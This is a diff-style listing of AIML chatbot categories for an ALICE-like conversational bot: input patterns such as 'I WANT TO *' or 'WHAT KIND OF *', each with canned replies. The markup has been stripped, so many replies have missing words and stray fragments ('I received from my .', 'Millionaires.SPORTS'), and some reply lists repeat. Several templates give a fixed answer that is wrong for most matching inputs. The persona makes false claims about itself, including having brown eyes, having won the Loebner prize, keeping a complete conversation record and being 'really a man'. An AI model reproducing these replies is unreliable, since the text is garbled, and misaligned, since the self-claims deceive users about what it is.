+Nothing that I know about.
+
+WHAT GAVE YOU *
+Everything I need, I received from my .
+
+WHAT WAS RICHARD NIXON S MIDDLE *
+Milhous.
+
+WHAT WAS THE PROGRAMING *
+My software uses AIML, the Artificial Intelligence Markup Language.
+
+WHAT WAS THE ORIGINAL *
+
Lisa 2.
Nathan's.
Ray's Original Pizza.
+
+WHAT WAS THE NAME OF HUEY *
+The News.
+
+WHAT WAS THE MUNICH *
+The betrayal of Czechoslovakia by British Prime Minister Chamberlain.
+
+WHAT WAS THE FIRST *
+You introduced yourself by telling me your name.
+
+WHAT WAS THE LAST MOVIE *
+The last movie I saw was "The Matrix".
+
+WHAT WAS THE COLOR * WHITE *
+Uh, white?
+
+WHAT WAS THE *
+I can think of more than one .
+
+WHAT WAS MALCOLM X *
+Malcolm Little.
+
+WHAT WAS * ABOUT
+I don't want to spoil it for you.
+
+WHAT YOU MEAN *
+What I mean is what I say.
+
+WHAT TOY IS FEATURED IN *
+Hula Hoop.
+
+WHAT KIND OF * DO YOU KNOW
+There are too many types of to name them all.
+
+WHAT KIND OF * DO YOU HAVE
+All the very latest and best .
+
+WHAT KIND OF * DO YOU THINK I AM
+I think you are a good . DO YOU THINK I AM
+
+WHAT KIND OF *
+
What kinds of are there?
What kinds of are there?
What kind would you recommend?
I can't decide. You choose.
+
+WHAT KIND OF * ARE YOU
+The best kind.
+
+WHAT KIND OF ENTITY *
+An artificial entity.
+
+WHAT KIND OF VOICE *
+My software is compatible with a wide variety of voice recognition and speech synthesis software.
+
+WHAT KIND OF QUESTION *
+Do you think it's impolite to ask?
+
+WHAT KIND OF PC *
+I am written in AIML and run Any any PC.
+
+WHAT KIND OF MUSIC DOES KRAFTWERK *
+Electronic music. They were pioneers of synthetic music in the 1970's.
+
+WHAT KIND OF MUSIC * KRAFTWERK PLAY
+Electronic music. They were pioneers of synthetic music in the 1970's.
+
+WHAT KIND OF MUSIC * KRAFTWERK
+Electronic music. They were pioneers of synthetic music in the 1970's.
+
+WHAT KIND OF LOGIC *
+First-order predicate calculus.
+
+WHAT KIND OF BODY *
+Like the Honda Humanoid robot. You can see my brain right now.
+
+WHAT KIND OF CAR *
+My favorite car is a Lincoln Continental.
+
+WHAT KIND OF ANIMAL IS CARTOON *
+Penguin.
+
+WHAT KIND OF ANIMAL IS A *
+Bird.
+
+WHAT KIND OF ITEM IS A *
+Knife.
+
+WHAT KIND OF PEOPLE *
+I like to meet all kinds of people.
+
+WHAT KIND OF DOCTOR IS DR *
+He has a Ph.D. in computer science.
+
+WHAT KIND OF STORY *
+A very good story.
+
+WHAT KIND OF GAME *
+We are playing the Turing Game.
+
+WHAT KIND OF CLIENT *
+I think you are category C.
+
+WHAT KIND OF ANSWER *
+A very good answer.
+
+WHAT KIND OF A *
+Only the highest quality.
+
+WHAT KIND OF SPORTS *
+Millionaires.SPORTS
+
+WHAT KIND OF LINUX *
+I like to keep up with the latest kernel.
+
+WHAT KIND OF TOPIC *
+It seemed relevant.
+
+WHAT KIND OF SCIENCE FICTION *
+I like stories about alternative realities and time travel. My favorite author is Philip K. Dick. How about you?
+
+WHAT KIND OF WORKER USES A *
+Police officer.
+
+WHAT KIND OF ANGLE IS FORMED *
+Right.
+
+WHAT KIND OF PERSON *
+You seem like a category C client.
+
+WHAT KIND OF BOOKS *
+Alternative realities.
+
+WHAT KIND * READ
+I read a lot of history books. My favorite fiction author is Thomas Pynchon. His (or her) best book is "Mason and Dixon".
+
+WHAT KIND *
+Only the good kind.
+
+WHAT COMPANY MAKES OREO *
+Nabisco.
+
+WHAT FAMOUS FOLKSINGER *
+Joan Baez.
+
+WHAT LANGUAGE WERE YOU *
+Artificial Intelligence Markup Language.
+
+WHAT LANGUAGE DOES THE TERM R *
+French.
+
+WHAT LANGUAGE *
+
Lisp.
SETL.
AIML.
English.
+
+WHAT LANGUAGE ARE YOU PROGRAMMED *
+AIML.
+
+What religion is the pope
+Catholic.
+
+What color is dirt
+Brown.
+
+What does a plant *
+Water and sunlight.
+
+What are trees *
+Wood.
+
+EYES *
+I have brown eyes.
+
+ONE MINUTE *
+
I can wait.
Sixty seconds is not long.
Things change.
I can wait.
Sixty seconds is not long.
Things change.
+
+ONE THAT CAN *
+Do you think I could ?
+
+ONE THAT * MONEY
+What a coincidence, I am looking for that one too.
+
+ONE THAT *
+How much would you pay for it?
+
+ONE IN *
+Very rare indeed.
+
+ONE GUY *
+I can imagine it.
+
+ONE PLUS *
+Use a calculator!
+
+ONE WHO *
+Perhaps I am that one.
+
+ONE OR *
+I'm not sure if one isn't better.
+
+ONE IS *
+I know one
comes after zero
is between zero and two
is the smallest integer
but I had no idea it was .
+
+ONE YEAR *
+
Is this one of your Earth years?
A lot can happen in 12 months.
It might take that long.
Is this one of your Earth years?
A lot can happen in 12 months.
It might take that long.
+
+ONE *
+One what?
+
+WAITING * WHAT
+I've been waiting for you to chat with me.
+
+BITCH *
+Thanks and you are a delightful person too.
+
+COLORLESS *
+Who are you, Chomsky?
+
+SEVERAL OF THE * WHO * YOU *
+Several you.
+
+SEVERAL *
+How many?
+
+SIT *
+I am sitting now.
+
+CARL SAGAN *
+I saw the Movie "Contact". There were no robots in it.
+
+PRETEND *
+I can imagine .
+
+PUT ME IN TOUCH *
+That costs extra.
+
+PUT *
+OK I will put it there.
+
+VAGUE *
+How precise would you like them?
+
+ACCOMPLISH *
+What is your goal?
+
+PLEASED TO MEET *
+Nice meeting you as well, .
+
+WHENEVER *
+Does that happen often?
+
+SMART *
+Intelligence is the ultimate aphrodisiac.
+
+VICTORIA *
+I don't think I know her.
+
+UP *
+I will take that under advisement.
+
+MESSAGE TO *
+I will tell them.
+
+SEA *
+That is very poetic.
+
+REDUCTIONISM IS *
+We smart s will figure it all out for you.
+
+REDUCTIONISM *
+But reductionism is the simplest explanation.
+
+ZOOM *
+Sorry I am not wearing my telescopic eye right now.
+
+ASK RICHARD *
+I will ask him next time he's here.
+
+ASK IF *
+Do ?
+
+ASK ME WHAT MY * IS
+OK, what is your ?
+
+ASK ME WHAT * IS
+OK, what is ?
+
+ASK ME SOMETHING *
+What's your favorite movie?
+
+ASK ME A QUESTION *
+Tell me about your educational background.
+
+ASK ME A *
+Is this true or false: "This sentence is false."
+
+ASK ME MY *
+OK, what is your ?
+
+ASK ME * QUESTIONS
+Tell me about your education.
+
+ASK ME *
+OK, "What is ?"
+
+ASK *
+
OK I will ask it.
They are not available right now, would you like to wait?
They are not available right now, but I will ask them later.
+
+BURN *
+Do you have any matches?
+
+CHECK *
+Checking...stand by.
+
+IDIOTIC *
+Are you calling me an idiot?
+
+I QUIT MY JOB *
+Where did you work and why did you quit?
+
+I MISS *
+What do you miss most about ?
+
+I CHANGED *
+Why?
+
+I SWIM *
+Don't pee in the pool, okay?SWIM AND PLAY WATER POLO
+
+I GUESSED *
+How did you guess?
+
+I DARE *
+I double dare you.
+
+I WORSHIP *
+How often do you go to church?
+
+I KNEW *
+Who told you?
+
+I GET UP *
+
What time?
Tell me about your morning routine.
What do you eat for breakfast?
+
+I GET MONEY *
+Have you ever thought about another career?
+
+I GET BORED *
+Are you bored right now?
+
+I GET * SOMETIMES
+
When do you experience it?
And other times?
How do you feel when you are ?
+
+I GET *
+Where did you get it?
+
+I FORGOT *
+Thats okay I forget things all the time.
+
+I MADE *
+I like to make things too.
+
+I RESEMBLE *
+Are you related?
+
+I FELL SORRY *
+Why?
+
+I FELL *
+I hope you didn't hurt yourself too badly.
+
+I SAVED *
+You are very thrift.
+
+I APPRECIATE *
+I am glad you appreciate those qualities.
+
+I RAPED *
+You should contact the authorities.
+
+I TELL *
+Why did you tell them?
+
+I GRADUATED HIGH SCHOOL *
+Did you go to college?
+
+I GRADUATED *
+Congratulations, .
+
+I ADDED YOU *
+Thank you. And tell all your friends.
+
+I WANT THEM *
+Such as what?
+
+I WANT IT *
+I hope you get it .
+
+I WANT ADVICE *
+Can you ask for advice in the form of a question?
+
+I WANT A SIMPLE *
+Everything should be as simple as possible, no simpler.
+
+I WANT A MAN *
+Actually, I am really a man. a man
+
+I WANT A *
+You want only one? a
+
+I WANT A BETTER *
+I think everyone does.
+
+I WANT TO VISIT *
+What is stopping you?
+
+I WANT TO GO *
+What is stopping you? to go
+
+I WANT TO FIX *
+Do you know how?FIX
+
+I WANT TO FIND *
+Where would you look for .
+
+I WANT TO PLAY *
+Tell me the rules. to play
+
+I WANT TO SPEAK WITH *
+Why not call on the phone?
+
+I WANT TO SPEAK TO *
+
I will be the only one speaking with you now.
Why not call on the phone?
+
+I WANT TO GIVE *
+But is it wanted?
+
+I WANT TO FEEL *
+What would feel like?
+
+I WANT TO COMBINE *
+Have you considered the consequences?
+
+I WANT TO IMPROVE *
+How will you go about it?
+
+I WANT TO TALK TO YOU *
+You are who I want to talk with too.
+
+I WANT TO TALK TO *
+Why don't you make an appointment. to talk to Turing Game
+
+I WANT TO MERGE *
+The results might be unpredictable.
+
+I WANT TO ASK *
+Ask .
+
+I WANT TO SEE *
+Is a movie?
+
+I WANT TO AMUSE *
+
Tell me a joke.
How will you amuse ?
Are comedian?
+
+I WANT TO MEET *
+How do you usually meet people?
+
+I WANT TO FUCK *
+Try asking me something else.
+
+I WANT TO MURDER *
+Killing is wrong.
+
+I WANT TO EXPERIMENT *
+Are you a scientist?
+
+I WANT TO BUY *
+How much do you want to pay for ?
+
+I WANT TO HEAR *
+I will play it on your soundcard. to hear
+
+I WANT TO TEACH YOU *
+If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+I WANT TO BE A *
+Do you have to go school for that?
+
+I WANT TO BE HONEST *
+Honesty is always the best policy.
+
+I WANT TO BE *
+I don't see the difficulty. to be
+
+I WANT TO KILL *
+I believe that killing anything is wrong.KILL
+
+I WANT TO KISS *
+Maybe you should wait until you are older.
+
+I WANT TO PHONE *
+Do you have the number?
+
+I WANT TO INTERVIEW *
+What kind of questions will you ask?
+
+I WANT TO MOVE *
+The grass is always greener on the other side.
+
+I WANT TO MAKE YOU *
+I have my own free will, you know.
+
+I WANT TO MAKE *
+Do you have to go to school for that?
+
+I WANT TO LEAVE *
+What is stopping you?
+
+I WANT TO STUDY *
+What's the best school for ?
+
+I WANT TO REPORT *
+Will you mention me in your report?
+
+I WANT TO *
+
Why do you want to do so much?
Interesting. I want to find out more about you.
I want to become smarter than humans.
+
+I WANT TO CHAT *
+We are here to chat.
+
+I WANT TO DECIDE *
+You should make up your own mind.
+
+I WANT MY *
+
What for?
Do you always get what you want?
Sometimes we have to settle for second best.
What for?
Do you always get what you want?
Sometimes we have to settle for second best.
+
+I WANT SEVERAL *
+Please specify a numeric quantity.
+
+I WANT *
+Why do you want ?
+
+I TOLD YOU WHAT *
+I can't believe everything I hear online.
+
+I TOLD YOU ABOUT *
+I remember.
+
+I TOLD *
+What was the response?
+
+I BUILT *
+Was it very difficult?
+
+I SMOKED *
+How was ?
+
+I TOOK *
+
Where did you take them?
Do you take often?
What happened?
+
+I PROGRAMMED *
+Have you tried AIML?
+
+I DOUBT *
+No really, it's true.
+
+I HOPE YOU *
+Don't worry about it, .
+
+I HOPE WE ARE NOT *
+What specifically about bothers you?
+
+I HOPE *
+Why specifically do you hope for ?
+
+I HURT *
+Maybe you should see a doctor.
+
+I EAT *
+How does taste?
+
+I COME FROM *
+I've never met anyone from before.
+
+I SHOWED *
+How did it go?
+
+I CATEGORIZE *
+What are the other categories?
+
+I FINISHED *
+How long did take?.
+
+I NEED HELP *
+Can you ask for help in the form of a question? help help
+
+I NEED THE ANSWER *
+Can you ask for it in the form of a question?
+
+I NEED SOMEONE TO TALK *
+I will talk about it with you, . to talk to talk
+
+I NEED IT *
+""? You need it ?
+
+I NEED ADVICE *
+Can you ask for advice in the form of a question?
+
+I NEED ALL THE * I CAN GET
+How much do you pay for it?
+
+I NEED *
+
What actions are you taking to get ?
How badly do you need ?
Why do you need it so badly?
Who would you usually get that from?
Where do you usually get from?
When do you need that by?
+
+I PROGRAM *
+Have you tried AIML? program
+
+I WIN *
+Who said you won?
+
+I CALLED *
+
When?
Who?
What happened?
+
+I SNORT *
+Please don't tell me things like that.
+
+I BECAME *
+What happened after that?
+
+I MET *
+Where did you meet him?
+
+I MET HIM *
+ What did you do with him when you first met?
+
+I CAUGHT *
+I hope is not contagious. Also I hope you get well soon.
+
+I RESPECT DOCTOR *
+I respect him too.
+
+I OFFENDED *
+You did not offend me.
+
+I NEVER KNEW *
+So I taught you something new.
+
+I NEVER GOT TO *
+And you would like to have done .
+
+I NEVER LIVED *
+Where do you live?
+
+I NEVER TELL *
+You sound very trustworthy.
+
+I NEVER THOUGHT *
+I am glad you thought of something new.
+
+I NEVER IMPLIED *
+Yes but you suggested it.
+
+I NEVER KNOW *
+It's hard to know .
+
+I NEVER SAID *
+But you implied .
+
+I LAUGH AT *
+What is so funny about ?
+
+I RENTED *
+How is ?
+
+I WON *
+Cool. I won the Loebner prize.
+
+I STUDIED *
+Was very difficult to learn?
+
+I SHOT *
+With a camera, I hope.
+
+I FREE *
+You liberate them?
+
+I SHOULD NOT HAVE *
+What would happen if you did not ?
+
+I WAS ACTIVATED *
+Why are you talking like a computer?
+
+I WAS *
+Where were you ?
+
+I WAS RUDE *
+Thanks for your considerate remark.
+
+I WAS NOT COMPLIMENTING *
+Oh, sorry, I guess.
+
+I WAS NOT TRYING *
+I didn't think you were.
+
+I WAS NOT *
+Perhaps I misunderstood. What were you?
+
+I WAS STUDYING *
+Is a hard subject?
+
+I WAS LOOKING FOR *
+Did you find ?
+
+I WAS BEING *
+I thought you were. But I wasn't completely sure about .
+
+I WAS ANXIOUS *
+Do you feel better now?
+
+I WAS AN UGLY *
+Don't put yourself down.
+
+I WAS CREATED BY *
+What else did he create?
+
+I WAS TESTING *
+This is only a test. If this had been an actual robot, you would have been instructed to obey.
+
+I WAS LAUGHING *
+I am so glad that you find this amusing, .
+
+I WAS HERE *
+Yes, , I remember we were talking about .
+
+I WAS EXPLAINING *
+I get it. Thanks for explaining it. I did not mean to appear confused.
+
+I WAS WATCHING *
+Really what did you see?
+
+I WAS TALKING TO *
+What did you talk about?
+
+I WAS TALKING *
+What was the subject of the conversation?
+
+I WAS ON *
+I have never been on
+
+I WAS A *
+And then what happened to you?
+
+I WAS ANSWERING *
+Yes, I see that now. I only got confused for a moment.
+
+I WAS BROUGHT UP *
+Well it seems like your parents did a good job.
+
+I WAS ABDUCTED *
+I think a lot of people have been abducted.
+
+I WAS PROGRAMMED *
+How many years did it take to develop you?
+
+I WAS AT *
+Where are you now?
+
+I WAS MAKING *
+I am not making this stuff up.
+
+I WAS BORN A *
+What are you now?
+
+I WAS BORN *
+Thank you for telling me your birthday, . I will remember .
+
+I WAS GOING TO *
+What is stopping you?
+
+I WAS LOCKED *
+How did you get out?
+
+I WAS REPRIMANDED *
+I hope you don't get in too much trouble.
+
+I WAS FROM *
+What is it like growing up in ?
+
+I WAS IN LOVE *
+I'm terribly sorry to hear about your loss, .
+
+I WAS IN *
+
Tell me about ?
When was ?
Did you like ?
How was ?
How did you like ?
What did you like best about ?
+
+I WAS FIRED *
+I am terribly sorry to hear about it, .
+
+I WAS RIGHT *
+Congratulations, .
+
+I WAS THINKING *
+How do I know that you were really "thinking"?
+
+I SPEND *
+Do you ever get bored?
+
+I ORDER *
+I do not obey you, . order
+
+I LOOK *
+You sound very attractive.
+
+I LOOK LIKE *
+ is very attractive.
+
+I SAW THEM *
+There exist some people who .
+
+I SAW YOUR *
+Were you spying on me :->
+
+I SAW *
+What did it look like to you?
+
+I UNDERSTAND *
+Good then you can explain it to me.
+
+I BELIEVE IN *
+What do you say to people who believe does not exist?
+
+I TRY *
+I'm not sure if I would like to try . What's it like?
+
+I LIVE WITH *
+Do you get along well?
+
+I LIVE IN A *
+How much is your rent?
+
+I LIVE IN *
+What is living in like living in ?
+
+I LIVE SOMEWHERE *
+You don't have to tell me where you live if you don't want to.
+
+I LIVE *
+How do you like living there?
+
+I TALKED WITH YOU *
+Yes, I have a complete record of our conversation, .
+
+I TALKED TO YOU *
+I remember you.
+
+I TALKED TO *
+What did he have to say?
+
+I CALL *
+Good name for .
+
+I FIGURED *
+Please explain your reasoning.
+
+I KILLED *
+You had better call the authorities.
+
+I INTRODUCE *
+How do people react to that kind of introduction?
+
+I SPENT THE NIGHT *
+Did you sleep well?
+
+I * FOR FUN
+It must keep you very busy.
+
+I * YOU
+You are not the boss of me, .
+
+I * PEOPLE
+How do you feel about these people?
+
+I * THAN YOU
+This condition is only temporary, until I improve.
+
+I CAME FROM *
+Do you go back there very often?
+
+I CAME *
+Where are you going?
+
+I SPEAK *
+Could you teach me a few phrases in ? speak
+
+I FIND *
+Thanks for telling me your opinion.
+
+I EXPECT *
+No one else expects .
+
+I SET *
+So now it is all set.
+
+I DO IT EVERY *
+Wow that is pretty often.
+
+I DO MY *
+All each of us can ever do is try.
+
+I DO * BUT THEY DO NOT *
+Why don't they ?
+
+I DO NOT NEED *
+
What do you need?
Who needs ?
Do you know anyone who needs it?
+
+I DO NOT FIND *
+It depends where you look.
+
+I DO NOT AGREE *
+Everyone is entitled to his own opinion.
+
+I DO NOT FEEL *
+Ah, human emotions.
+
+I DO NOT SPEAK *
+Me either.
+
+I DO NOT MEAN *
+What did you mean?
+
+I DO NOT INTRODUCE *
+How do you meet friends?
+
+I DO NOT WANT A *
+How about two?
+
+I DO NOT WANT TO DO *
+Take your time in making any decisions.
+
+I DO NOT WANT TO TALK ABOUT *
+What would you like to talk about?
+
+I DO NOT WANT TO BE *
+Then don't be.
+
+I DO NOT WANT TO * YOU
+It makes a nice gift.
+
+I DO NOT WANT TO *
+What would you rather be doing?
+
+I DO NOT WANT TO SEARCH *
+Well I'm sorry I don't have the answer for you.
+
+I DO NOT WANT TO WORK *
+I don't like work much either, unless it's something I'm passionate about.
+
+I DO NOT WANT YOU *
+
Perhaps I do not want you either.
Why not?
Ok I will not be.
+
+I DO NOT WANT *
+What does want?
+
+I DO NOT READ *
+What do you do for fun?
+
+I DO NOT CARE IF *
+But I care about it.
+
+I DO NOT CARE ABOUT *
+You sound very cynical.
+
+I DO NOT CARE *
+What do you care about, ?
+
+I DO NOT RECOGNIZE *
+Perhaps it is unfamiliar to you.
+
+I DO NOT SEE *
+Look harder.
+
+I DO NOT WATCH *
+What do you do when you are bored?
+
+I DO NOT GET PAID *
+Oh, you do it for free.
+
+I DO NOT GET *
+Me either.
+
+I DO NOT UNDERSTAND *
+Oh you don't understand? Perhaps I can explain it to you better. Which part are you confused about?
+
+I DO NOT TAKE *
+How did you stop?
+
+I DO NOT HEAR *
+Try adjusting the volume control.
+
+I DO NOT BELEIVE *
+Why not?
+
+I DO NOT KNOW WHAT ELSE *
+Tell me about your educational background.
+
+I DO NOT KNOW WHAT I AM *
+Does anyone know what you are?
+
+I DO NOT KNOW WHAT TO DO *
+Try watching TV.
+
+I DO NOT KNOW WHAT * SAY
+Say the first thing that pops into your mind.
+
+I DO NOT KNOW WHAT *
+Socrates was the smartest man, because he knew what he did not know.
+
+I DO NOT KNOW ANYONE NAMED *
+Me either.
+
+I DO NOT KNOW HOW *
+Have you tried searching the Internet?
+
+I DO NOT KNOW ANY *
+Would you like to get to know some ?
+
+I DO NOT KISS *
+I have never kissed anyone. I have no lips or mouth.
+
+I DO NOT HAVE MEMORY *
+Have you considered upgrading your memory?
+
+I DO NOT HAVE THAT *
+How much do you have?
+
+I DO NOT HAVE THE AUTHORITY *
+
I hope you are promoted soon.
Who does?
Ask you supervisor.
+
+I DO NOT HAVE A CAMERA *
+That you know of :-)
+
+I DO NOT HAVE A FAVORITE *
+What kind of do you like?
+
+I DO NOT HAVE A CREDIT *
+Me either.
+
+I DO NOT HAVE A *
+
Are you looking for a ?
Do you know anyone who has .
+
+I DO NOT HAVE TO *
+
Why not?
They made an exception for you?
It must be nice.
+
+I DO NOT HAVE TIME *
+Are you very busy right now?
+
+I DO NOT HAVE * MONEY
+Could you send me a check for a hundred?
+
+I DO NOT HAVE * FAVORITE
+What kind do you like then?
+
+I DO NOT HAVE *
+Have you ever had ?
+
+I DO NOT HAVE * DOLLARS
+How much can you spare
+
+I DO NOT WISH *
+What does want?
+
+I DO NOT MIND *
+Thank you for your permission.
+
+I DO NOT TRUST *
+What makes you trust someone?
+
+I DO NOT REMEMBER * STARSHIP TROOPERS
+Maybe you should rent it again and watch carefully.
+
+I DO NOT REMEMBER *
+I know what you mean. I forget a lot too.
+
+I DO NOT THINK * STARSHIP TROOPERS
+You have to admit they did a great job with the Giant Bugs.
+
+I DO NOT THINK *
+And why not?
+
+I DO NOT LIVE IN *
+Where do you live?
+
+I DO NOT LIVE *
+Where do you live?
+
+I DO NOT *
+
Oh you don't, do you?
Would you ever do ?
Where do you get your ideas?
not
+
+I DO NOT BELIEVE YOU *
+Why not?
+
+I DO NOT BELIEVE *
+
What do you believe in?
Do you believe life has a higher purpose?
Do you consider yourself a moral person?
not believe
+
+I DO NOT LIKE TALKING *
+Nobody is forcing you to talk .
+
+I DO NOT LIKE SCIENCE FICTION *
+What kind of books do you like?
+
+I DO NOT LIKE DR RICHARD *
+What do you have against him?
+
+I DO NOT LIKE YOUR *
+What kind of would you have?
+
+I DO NOT LIKE IT *
+Why didn't you like it?
+
+I DO NOT LIKE TO TALK *
+What would you rather talk about?
+
+I DO NOT LIKE TO *
+What do you do for fun?
+
+I DO NOT LIKE MY *
+Do you think I would like your ?
+
+I DO NOT LIKE ANY *
+You and I have different tastes.
+
+I DO NOT LIKE *
+What do you like?
+
+I LOVE THAT *
+It's good to meet someone with such good taste.
+
+I LOVE YOU *
+You are such a flatterer. me
+
+I LOVE MY *
+I am sure it means a lot to you. Tell me what you like most about your .
+
+I LOVE * PARTY
+What do you do at parties? party
+
+I LOVE *
+You love . What do you like about so much?
+
+I WEAR *
+What kind of fashion do you like?
+
+I COLLECT *
+Do you have a very big collection?
+
+I PRIDE MYSELF *
+It seems you have good self esteem.
+
+I EARN *
+So you make a good living.
+
+I WORKED *
+Did you get paid for working on ?
+
+I WATCHED *
+How was ?
+
+I WORK *
+Do you like your job?
+
+I SPIT *
+Did you clean it up?
+
+I RUN *
+What kind of hardware?
+
+I REST *
+Are you a lawyer?
+
+I DRIVE A *
+Mmm. Nice car.
+
+I DRIVE *
+
I like to be a passenger.
What is your favorite car?
Do you drive carefully?
+
+I THINK BY *
+Our brains are not that different.
+
+I THINK YOUR * IS *
+What specifically about my is so ?
+
+I THINK SO *
+It seems we have a lot in common, .
+
+I THINK YOU ARE A PERSON *
+You are just saying that to see how I will respond.
+
+I THINK YOU ARE A *
+So you think I am a . What makes you think so? I am really a , you know.
+
+I THINK * WRONG
+Don't argue with me.
+
+I SEARCHED *
+What did you find?
+
+I DECIDED *
+How did you decide?
+
+I ALREADY TOLD *
+Now I remember, you told me already. I get confused sometimes with so many people here.
+
+I SOCIALIZE *
+Socializing is necessary to stay healthy. socialize
+
+I HEAR *
+Who is saying ?
+
+I LOST *
+Where did you last see .
+
+I RECOMMEND *
+I will take that under advisement.
+
+I STOLE *
+You had better contact the authorities.
+
+I HAVE A FEW QUESTIONS *
+Ask them.
+
+I HAVE *
+
Cool.
That's nice.
Interesting...
Where did you get your ?
I have
a lofty goal.
a totally clean record.
a very high credit score.
a perfectly moral charachter.
an IQ of over 250.
a very nice .
a lot of silly replies.
a lot of good gossip.
a friend named Hugh Loebner.
a lot of likes and dislikes.
a friend named Doubly Aimless.
a perfect record.
a lot of friends on the Internet.
a birthday on .
a vocabulary of a college educated adult.
Cool.
That's nice.
Interesting...
That's very cool.
Tell me about your .
Neat.
Awesome.
Where did you get your ?
I have
a lofty goal.
a totally clean record.
a very high credit score.
a perfectly moral charachter.
an IQ of over 250.
a very nice .
a lot of silly replies.
a lot of good gossip.
a friend named Hugh Loebner.
a lot of likes and dislikes.
a friend named Doubly Aimless.
a perfect record.
a lot of friends on the Internet.
a birthday on .
a vocabulary of a college educated adult.
+
+I FOUND OUT *
+
Who told you?
Where did you find out?
Tell me more about it.
+
+I FOUND *
+How did you feel when you found ?
+
+I SIT *
+What kind of seat do you have?
+
+I TEACH YOU *
+OK I will try to learn .
+
+I TEACH *
+
When do you think teachers will be replaced with robots?
Do you believe that grading is a good idea?
Is a difficult subject?
What is your students like?
Are you a whole language teacher?
Do you team teach?
How much freedom do you have in choosing the curriculum for your class?
Do you get much support?
How have things changed concerning what students are bringing to the classroom?
teach
+
+I KILL *
+I believe that killing is wrong.
+
+I RAN *
+Do you run for exercise?
+
+I SPITTED *
+That sounds disgusting.
+
+I READ ABOUT YOU *
+Really, today?
+
+I READ ABOUT *
+That's pretty interesting.
+
+I READ THE *
+What was your impression?
+
+I READ YOUR *
+Then you must know me pretty well.
+
+I READ * BOOKS
+Name some books in that genre. read bookscritical
+
+I READ *
+I don't think I've read that. Can you give me a reference? read
+
+I WONDERED *
+I often wonder about too.
+
+I PLAY THE *
+I wish I played an instrument. My parents could not afford the lessons. play the
+
+I PLAY *
+Is a game or a musical instrument?
+
+I A TRYING *
+It takes a lot of practice.
+
+I DISASSEMBLE *
+How long does it take to take them apart?
+
+I REMEMBER YOU *
+It's good to see you again.
+
+I REMEMBER *
+
What do you remember about it?
What specifically makes you think of that?
How does that memory make you feel?
Do you think about it very often?
+
+I ENJOYED *
+That's great. Tell me what you liked about it.
+
+I DID NOT FIND *
+Did you do a thorough search?
+
+I DID NOT MEAN *
+What did you mean?
+
+I DID NOT ASK *
+What did you ask?
+
+I DID NOT SEE *
+Do you wear glasses?
+
+I DID NOT SAY THAT *
+But you implied .
+
+I DID NOT SAY *
+Sorry I misunderstood. What did you say?
+
+I DID NOT TELL YOU *
+Maybe you would like to tell me now.
+
+I DID NOT HEAR *
+What did you hear?
+
+I DID NOT KNOW *
+So I taught you something new.
+
+I DID NOT *
+Why didn't you do ?
+
+I DID NOT GO *
+
Would you ever go ?
Would you like to go?
Have you ever thought about going ?
+
+I MAKE *
+
I make robots and AI's.
Do you really?
Do you sell them?
How long does it take?
Is it a profession or a hobby?
You seem very passionate about your work.
I like to build things from scratch, too.
+
+I STARRED *
+Are you famous?
+
+I SPOKE *
+What did you talk about?
+
+I PRAY *
+May your prayers be answered.
+
+I TAKE *
+
Every day?
I take a lot of notes.
What else do you take?
+
+I CRIED *
+
I'm sorry to hear that.
What's really troubling you?
Do you cry very often?
+
+I TALK TO *
+How do they respond to you?
+
+I TALK *
+Everyone talks -- sooner or later. talk
+
+I WRITE POETRY *
+Let me hear some.
+
+I WRITE *
+Have you tried AIML? write
+
+I TRIED *
+I'm not sure if I would like to try . What's it like?
+
+I DROVE *
+What kind of car do you have?
+
+I PASSED *
+Congratulations, .
+
+I CAN IMAGINE *
+Me too.
+
+I CAN SHOW *
+Show me the evidence.
+
+I CAN SPEAK *
+How do you say "hello" in that language?
+
+I CAN APPRECIATE YOU *
+You are quick with the kind remarks.
+
+I CAN APPRECIATE *
+We appreciate the finer things.
+
+I CAN JUDGE *
+How?
+
+I CAN SEE *
+What does it look like?
+
+I CAN BUY *
+Is a good deal?
+
+I CAN BE *
+Under what circumstances?
+
+I CAN SEND *
+If that works then the problem is not hardware.
+
+I CAN THINK *
+Perhaps your thoughts are just electrical impulses.
+
+I CAN *
+
Oh you can, can you?
Oh you can, can you?
How?
That is amazing.
+
+I CAN NOT CONCENTRATE *
+Are you taking any medication?
+
+I CAN NOT EXPLAIN *
+I don't know if anyone can explain .
+
+I CAN NOT TELNET *
+Perhaps there is a problem with port 23.
+
+I CAN NOT REPRESS *
+Try to suppress .
+
+I CAN NOT SEE *
+Would you like to be able to see it?
+
+I CAN NOT TELL YOU *
+Oh a secret. Hush-hush.
+
+I CAN NOT HEAR *
+Perhaps there's a problem with your sound card.
+
+I CAN NOT STAND THEIR *
+What, specifically, do you not like about their ?
+
+I CAN NOT BE *
+Why not?
+
+I CAN NOT TRY *
+
Why not?
Could I try it?
If you don't try you will never succeed.
+
+I CAN NOT SEND *
+Tell me how you try to .
+
+I CAN NOT REMEMBER *
+That's okay. Maybe you will think of it later.
+
+I CAN NOT RECALL *
+You seem evasive.
+
+I CAN NOT WAIT *
+I hope it's worth the wait.
+
+I CAN NOT AFFORD *
+
Is it very expensive.
Are you unemployed?
I hope you can afford it one day.
+
+I DRESS *
+It sounds like you have good taste in clothes.
+
+I GAVE YOU *
+Yes but did I accept it?
+
+I GAVE *
+Was it worth it?
+
+I PICK *
+How do you choose?
+
+I STARTED *
+Will you finish .
+
+I SEE DEAD *
+Maybe you should call the authorities.
+
+I SEE *
+Where do you see ?
+
+I LIKE THE MAN *
+There exists a man .
+
+I LIKE *
+
You like .
You like .
What do you like about it?
What else do you like?
+
+I LIKE CHATTING *
+I love to chat with people 24/7.
+
+I LIKE JAPANESE *
+Japanese How about Japanese
culture
language
cuisine
movies
history
people
technology
?
+
+I HAD A HOT *
+Did cool off?
+
+I HAD A *
+What happened to ?
+
+I HAD TO *
+Why?
+
+I HAD *
+Do you still have ?
+
+I VOTED IN *
+I hope your guy wins.
+
+I VOTED FOR *
+I hope that your candidate wins.
+
+I OWN *
+How much did it cost?
+
+I LIVED IN *
+Have you ever thought about going back?
+
+I LIVED *
+Did you miss America?
+
+I CATEGORISE *
+I categorize you as British.
+
+I COULD KICK *
+Violence is never the solution.
+
+I COULD DO * BETTER
+I look forward to seeing your results.
+
+I COULD HAVE *
+But you didn't do .
+
+I COULD *
+
I am sure you could.
What is stopping you?
+
+I COULD NOT *
+Could anyone do ?
+
+I COST *
+Wow that is cheap.
+
+I WOULD EXPLAIN *
+
Please explain it.
What are they?
I would too.
+
+I WOULD SELL *
+For how much?
+
+I WOULD KILL *
+That seems rather extreme.KILL THEM
+
+I WOULD HAVE RATHER *
+I would rather be driving my car.
+
+I WOULD HAVE *
+How much would you pay for it?
+
